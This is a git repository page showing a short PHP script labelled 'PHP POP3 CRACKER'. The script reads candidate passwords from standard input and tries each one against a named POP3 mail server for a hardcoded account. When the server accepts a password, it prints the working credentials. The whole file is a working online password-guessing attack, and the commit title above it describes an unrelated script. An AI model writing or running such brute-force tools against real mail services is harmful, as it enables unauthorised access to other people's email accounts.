Added script to find files not owned by pacman package manager (ArchLinux)
[mirrors/Programs.git] / php / skripty / pop3crack.php
... / ...
CommitLineData
1<?php\r
2\r
3//READLINE Function\r
4function readline($prompt="") {\r
5 echo $prompt;\r
6 $line = fgets(STDIN, 999);\r
7 return trim($line);\r
8}\r
9//READLINE End\r
10\r
11//CODE\r
12$server = "pop3.seznam.cz";\r
13$port = "110";\r
14$timeout = "5";\r
15$user = "harvie@seznam.cz";\r
16//$pass = "heslo";\r
17\r
18echo (\r
19"PHP POP3 CRACKER\nHarvie 2oo7\n"\r
20);\r
21\r
22while(1) {\r
23 $fp = fsockopen ($server, $port, &$errno, &$errstr, $timeout);\r
24 //if ($fp) { echo("GOOD CONNECTION\n"); }\r
25 if (!$fp) { echo("BAD CONNECTION\n"); }\r
26\r
27 $pass = readline();\r
28\r
29 $resp = (" ".fread($fp, 1000));\r
30\r
31 fwrite($fp, "USER $user\n");\r
32 $resp = (" ".fread($fp, 1000));\r
33 fwrite($fp, "PASS $pass\n");\r
34 $resp = (" ".fread($fp, 1000));\r
35 if (strpos($resp, "+OK") != 0) {\r
36 echo(\r
37 "\n\n-------------------\n".\r
38 "GOOD PASSWORD FOUND\n".\r
39 "Server: $server:$port\n".\r
40 "USER $user\n".\r
41 "PASS $pass"\r
42 );\r
43 fclose($fp);\r
44 die("\n");\r
45 }\r
46 //if (strpos($resp, "-ERR") != 0) { echo("\nBAD PASSWORD\n"); }\r
47}\r
48\r
49?>\r
This page took 0.272136 seconds and 4 git commands to generate.